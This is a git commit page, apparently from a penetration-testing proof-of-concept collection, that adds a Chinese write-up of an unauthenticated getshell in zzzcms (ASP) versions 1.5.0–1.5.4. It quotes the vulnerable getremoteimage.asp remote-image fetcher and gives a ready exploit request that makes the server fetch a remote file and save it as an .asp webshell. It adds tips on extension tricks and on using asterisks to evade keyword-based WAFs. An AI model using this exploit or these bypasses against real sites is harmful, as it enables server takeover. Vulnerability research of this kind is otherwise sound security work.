mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
add zzzcms(asp)前台Getshell
This commit is contained in:
Mrxn
parent
99e13a1158
commit
7981d1d31f
153
zzzcms(asp)前台Getshell.md
Normal file
153
zzzcms(asp)前台Getshell.md
Normal file
@ -0,0 +1,153 @@
|
|||||||
|
# zzzcms(asp)前台Getshell
|
||||||
|
|
||||||
|
zzzcms > 1.5版本后台添加了/inc/webuploader/目录 参照Ueditor功能
|
||||||
|
问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.0版本)
|
||||||
|
|
||||||
|
```asp
|
||||||
|
<!--#include file="../../../inc/zzz_class.asp"-->
|
||||||
|
<%
|
||||||
|
dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
|
||||||
|
upfolder=getform("upfolder","both")
|
||||||
|
if isnul(upfolder) then
|
||||||
|
parentPath=sitepath&upLoadPath
|
||||||
|
else
|
||||||
|
parentPath=sitepath&upLoadPath&upfolder&"/"
|
||||||
|
end if
|
||||||
|
|
||||||
|
remotestr =Trim(Request("file"))
|
||||||
|
remotestr=replace(remotestr,"&" , "&")
|
||||||
|
remotestr=remotestr
|
||||||
|
remotestr=remotestr&"ue_separate_ue"
|
||||||
|
remotesplit=split(remotestr,"ue_separate_ue")
|
||||||
|
newpath=parentPath&DateFormat(now,"yymmdd")&"/"
|
||||||
|
NewFolder newpath
|
||||||
|
for j=0 to ubound(remotesplit)-1
|
||||||
|
newpicname=getrndname()&GetFileExt(remotesplit(j))
|
||||||
|
newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
|
||||||
|
if waterMark=1 then waterMarkImg newimg
|
||||||
|
newimgs=newimgs&newimg&"ue_separate_ue"
|
||||||
|
next
|
||||||
|
if remotestr<>"" then
|
||||||
|
if right(newimgs,len("ue_separate_ue"))="ue_separate_ue" then newimgs=left(newimgs,len(newimgs)-len("ue_separate_ue"))
|
||||||
|
end if
|
||||||
|
response.Write "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
|
||||||
|
|
||||||
|
function getfileExt(filename)
|
||||||
|
if filename="" then getfileExt=".jpg" : exit function
|
||||||
|
getfileExt=mid(filename,InStrRev(filename,"."),len(filename))'获取文件扩展名
|
||||||
|
end function
|
||||||
|
|
||||||
|
|
||||||
|
'==================================================
|
||||||
|
'过程名：SaveRemoteFile
|
||||||
|
'作 用：保存远程的文件到本地
|
||||||
|
'参 数：LocalFileName ------ 本地文件名
|
||||||
|
'参 数：RemoteFileUrl ------ 远程文件URL
|
||||||
|
'==================================================
|
||||||
|
function SaveRemoteFile(LocalFileName,RemoteFileUrl)
|
||||||
|
On Error Resume Next
|
||||||
|
dim Ads,Retrieval,GetRemoteData
|
||||||
|
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
|
||||||
|
With Retrieval
|
||||||
|
.Open "Get", RemoteFileUrl, False, "", ""
|
||||||
|
.Send
|
||||||
|
GetRemoteData = .ResponseBody
|
||||||
|
End With
|
||||||
|
Set Retrieval = Nothing
|
||||||
|
Set Ads = Server.CreateObject("Adodb.Stream")
|
||||||
|
With Ads
|
||||||
|
.Type = 1
|
||||||
|
.Open
|
||||||
|
.Write GetRemoteData
|
||||||
|
.SaveToFile server.MapPath(LocalFileName),2
|
||||||
|
.Cancel()
|
||||||
|
.Close()
|
||||||
|
End With
|
||||||
|
Set Ads=nothing
|
||||||
|
SaveRemoteFile=LocalFileName
|
||||||
|
end function
|
||||||
|
|
||||||
|
'判断远程图片是否存在
|
||||||
|
function CheckURL(byval A_strUrl)
|
||||||
|
On Error Resume Next
|
||||||
|
set XMLHTTP = Server.CreateObject("Microsoft.XMLHTTP")
|
||||||
|
XMLHTTP.open "HEAD",A_strUrl,false
|
||||||
|
XMLHTTP.send()
|
||||||
|
CheckURL=(XMLHTTP.status=200)
|
||||||
|
set XMLHTTP = nothing
|
||||||
|
end function
|
||||||
|
%>
|
||||||
|
```
|
||||||
|
|
||||||
|
对比后台所有文件缺失了后台权限验证包含
|
||||||
|
|
||||||
|
```
|
||||||
|
<!--#include file="../../../inc/zzz_admin.asp" -->
|
||||||
|
```
|
||||||
|
|
||||||
|
问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.4版本)
|
||||||
|
|
||||||
|
```asp
|
||||||
|
<!--#include file="../../../inc/zzz_class.asp"-->
|
||||||
|
<%
|
||||||
|
dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
|
||||||
|
upfolder=getform("upfolder","both")
|
||||||
|
if isnul(upfolder) then
|
||||||
|
parentPath=sitepath&upLoadPath
|
||||||
|
else
|
||||||
|
parentPath=sitepath&upLoadPath&upfolder&"/"
|
||||||
|
end if
|
||||||
|
remotestr =Trim(Request("file"))
|
||||||
|
remotestr=replace(remotestr,"&" , "&")
|
||||||
|
remotestr=remotestr
|
||||||
|
remotestr=remotestr&"ue_separate_ue"
|
||||||
|
remotesplit=split(remotestr,"ue_separate_ue")
|
||||||
|
newpath=parentPath&DateFormat(now,"yymmdd")&"/"
|
||||||
|
NewFolder newpath
|
||||||
|
for j=0 to ubound(remotesplit)-1
|
||||||
|
newpicname=getrndname()&"."&GetFileExt(remotesplit(j))
|
||||||
|
newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
|
||||||
|
if waterMark=1 then waterMarkImg newimg
|
||||||
|
newimgs=newimgs&newimg&"ue_separate_ue"
|
||||||
|
next
|
||||||
|
remotestr=endstr(remotestr,"ue_separate_ue")
|
||||||
|
echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
|
||||||
|
%>
|
||||||
|
```
|
||||||
|
|
||||||
|
看到这段自定义的echo
|
||||||
|
|
||||||
|
```
|
||||||
|
echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功！','srcUrl':'"&remotestr& "'}"
|
||||||
|
```
|
||||||
|
|
||||||
|
可以猜测PHP开发者参照ASP.NET的Ueditor写出了ASP的代码
|
||||||
|
EXP:
|
||||||
|
|
||||||
|
```
|
||||||
|
POST:
|
||||||
|
/{admin}/inc/webuploader/getremoteimage.asp
|
||||||
|
|
||||||
|
file=http://target.com/*.gif?.asp
|
||||||
|
```
|
||||||
|
|
||||||
|
SHELL在返回包
|
||||||
|
影响版本zzzcms(ASP)1.5.0/1.5.1/1.5.2/1.5.3/1.5.4
|
||||||
|
值得一提的是zzzcms ASP版安装完成后默认后台为随机
|
||||||
|
想要利用需要获得后台地址/admin{随机目录}/inc/webuploader/getremoteimage.asp
|
||||||
|
|
||||||
|
测试发现这个随机后台是个摆设 有兴趣的可以研究研究
|
||||||
|
|
||||||
|
一些tips:
|
||||||
|
|
||||||
|
```
|
||||||
|
.txt?.a*sp.a*sp有时候抓取不到 得先传图片马到他本地再抓本机还有的只能抓https 不支持http
|
||||||
|
其实不光?可以 *也可以 基本上给予关键词拦截的waf 用星号都可以绕过
|
||||||
|
q:新年快乐，流光师傅。 测试了下txt能post上去，asp后缀无法直接po上去，请问怎么突破。
|
||||||
|
a:.txt?.asp
|
||||||
|
```
|
||||||
|
|
||||||
|
注：原文地址：https://www.t00ls.net/articles-59726.html 作者：@[赢时胜流光](https://www.t00ls.net/members-profile-12455.html)
|
||||||
|
|
||||||
|
欢迎大家投稿吐司！
|
||||||
|
|
||||||
Loading…
x
Reference in New Issue
Block a user